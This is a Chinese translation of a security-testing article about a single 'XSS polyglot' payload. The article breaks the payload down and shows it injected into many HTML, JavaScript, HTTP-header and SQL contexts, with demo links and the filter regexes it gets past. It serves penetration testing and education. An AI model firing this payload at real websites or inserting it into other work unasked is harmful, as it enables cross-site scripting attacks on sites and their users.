XSS测试万能代码 (菜鸟翻译笔记)

作者:Ahmed Elsobky
原文:https://github.com/0xsobky/HackVault/wiki

概述:

当谈到测试跨站点脚本漏洞(也称为XSS),你就普遍面临的各种注射上下文中,其中每一个都需要你改变你的注入有效载荷,因此套件的具体情况在眼前。这可能是过于繁琐和费时在大多数情况下,但幸运的是,XSS polyglots可以派上用场,在这里给我们节省了大量的时间和精力。

什么是 XSS polyglot ?

XSS polyglot 一般可以定义为是以其原始形式的各种注射上下文中执行的任何 XSS 向量。

所以,什么是XSS polyglot 你知道了吧?

jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert() )//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert()//>\x3e

Anatomy of the polyglot (in a nutshell):

  • jaVasCript:: A label in ECMAScript; a URI scheme otherwise.

  • /-//*\/'/"/**/: A multi-line comment in ECMAScript; a literal-breaker sequence.

  • (/* */oNcliCk=alert() ): A tangled execution zone wrapped in invoking parenthesis!

  • //%0D%0A%0d%0a//: A single-line comment in ECMAScript; a double-CRLF in HTTP response headers.

  • </stYle/</titLe/</teXtarEa/</scRipt/--!>: A sneaky HTML-tag-breaker sequence.

  • \x3csVg/<sVg/oNloAd=alert()//>\x3e: An innocuous svg element!!

它包括什么样的注射场景?

包含 HTML 上下文 ︰
  • 双引号的标签属性:
<input type="text" value="jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert() )//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert()//>\x3e"></input>

演示 ︰ https://jsbin.com/dopepi

  • 单引号标记属性:
<input type='text' value='jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert() )//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert()//>\x3e'></input>

演示:https://jsbin.com/diwedo

  • 未加引号标记属性:
<input type=text value=jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert() )//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert()//>\x3e></input>

演示:https://jsbin.com/zizuvad

  • HTML转义未加引号的标签属性(可能需要点击):
<img border=3 alt=jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert() )//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert()//>\x3e>

演示:https://jsbin.com/gopavuz

  • HTML转义的"href"/"XLink:href"和"src"属性值:
<a href="jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert() )//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert()//>\x3e">click me</a>

演示:https://jsbin.com/kixepi

<math xlink:href="jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert() )//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert()//>\x3e">click me</math>

演示:https://jsbin.com/bezofuw

<iframe src="jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert() )//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert()//>\x3e"></iframe>

演示:https://jsbin.com/feziyi

  • HTML 注释 ︰
<!--jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert() )//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert()//>\x3e-->

演示:https://jsbin.com/taqizu

  • 任意常用的 HTML 标记 ︰
<title>jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert() )//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert()//>\x3e</title>

演示:https://jsbin.com/juzuvu

<style>jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert() )//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert()//>\x3e</style>

演示:https://jsbin.com/qonawa

<textarea>jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert() )//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert()//>\x3e</textarea>

演示:https://jsbin.com/mecexo

<div>jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert() )//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert()//>\x3e</div>

演示:https://jsbin.com/wuvumuh

任意普通的HTML标签:
  • 双引号字符串:
var str = "jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert() )//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert()//>\x3e";

演示:https://jsbin.com/coteco

  • 单引号字符串:
var str = 'jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert() )//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert()//>\x3e';

演示:https://jsbin.com/bupera

  • Template strings/literals (ES6):
String.raw`jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert() )//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert()//>\x3e`;

演示:https://jsbin.com/rewapay

  • 正则表达式文本 ︰
var re = /jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert() )//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert()//>\x3e/;

演示:https://jsbin.com/zepiti

  • 单行和多行注释:
<script>//jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert() )//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert()//>\x3e</script>

演示:https://jsbin.com/fatorag

<script>/*jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert() )//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert()//>\x3e*/</script>

演示:https://jsbin.com/vovogo

JS sinks:
  • eval:
eval(location.hash.slice(1));

演示
https://jsbin.com/qejisu#jaVasCript:/-/%60/%5C%60/'/%22/*/(/%20/oNcliCk=alert()%20)//%0D%0A%0d%0a//%3C/stYle/%3C/titLe/%3C/teXtarEa/%3C/scRipt/--!%3E%5Cx3csVg/%3CsVg/oNloAd=alert()//%3E%5Cx3e

  • setTimeout :
setTimeout(location.search.slice(1));

演示
https://jsbin.com/qawusa?jaVasCript:/-/%60/%5C%60/'/%22//(/%20*/oNcliCk=alert()%20)//%0D%0A%0d%0a//%3C/stYle/%3C/titLe/%3C/teXtarEa/%3C/scRipt/--!%3E%5Cx3csVg/%3CsVg/oNloAd=alert()//%3E%5Cx3e

  • setInterval:
setInterval(location.search.slice(1));

演示
https://jsbin.com/colese?jaVasCript:/-/%60/%5C%60/'/%22//(/%20*/oNcliCk=alert()%20)//%0D%0A%0d%0a//%3C/stYle/%3C/titLe/%3C/teXtarEa/%3C/scRipt/--!%3E%5Cx3csVg/%3CsVg/oNloAd=alert()//%3E%5Cx3e

  • Function:
new Function(location.search.slice(1))();

演示
https://jsbin.com/hizemi?jaVasCript:/-/%60/%5C%60/'/%22//(/%20*/oNcliCk=alert()%20)//%0D%0A%0d%0a//%3C/stYle/%3C/titLe/%3C/teXtarEa/%3C/scRipt/--!%3E%5Cx3csVg/%3CsVg/oNloAd=alert()//%3E%5Cx3e

  • innerHTML/outerHTML and document.write with HTML-escaped strings:
var data = "jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert() )//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert()//>\x3e";document.head.outerHTML = data;

演示 : https://jsbin.com/nimokaz

var data = "jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert() )//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert()//>\x3e";document.head.outerHTML = data;

演示 : https://jsbin.com/yowivo

var data = "jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert() )//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert()//>\x3e";document.write(data);document.close();

演示 : * https://jsbin.com/ruhofi*

过滤绕过:
  • jaVasCript:, oNcliCk, et al. bypasses:
preg_replace('/\b(?:javascript:|on\w+=)/', '', PAYLOAD);
  • /*/*\ bypasses:
preg_replace('/`/', '\`', PAYLOAD);
  • </stYle/</titLe/</teXtarEa/</scRipt/--!> bypasses:
preg_replace('/<\/\w+>/', '', PAYLOAD);
  • --!> bypasses:
preg_replace('/-->/', '', PAYLOAD);
  • <sVg/oNloAd=alert()//> bypasses:
preg_replace('/<\w+\s+/', '', PAYLOAD);

Bonus attacking contexts covered:

CRLF-based XSS:

HTTP/1.1 200 OK
Date: Sun, 01 Mar 2016 00:00:00 GMT
Content-Type: text/html; charset=utf-8
Set-Cookie: x=jaVasCript:/-//*\/'/"/*/(/ */oNcliCk=alert() )//

//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert()//>\x3e

Error-based SQL injections (yes, SQLi!):
SELECT * FROM Users WHERE Username='jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert() )//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert()//>\x3e'
SELECT * FROM Users WHERE Username="jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert() )//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert()//>\x3e"

推荐阅读更多精彩内容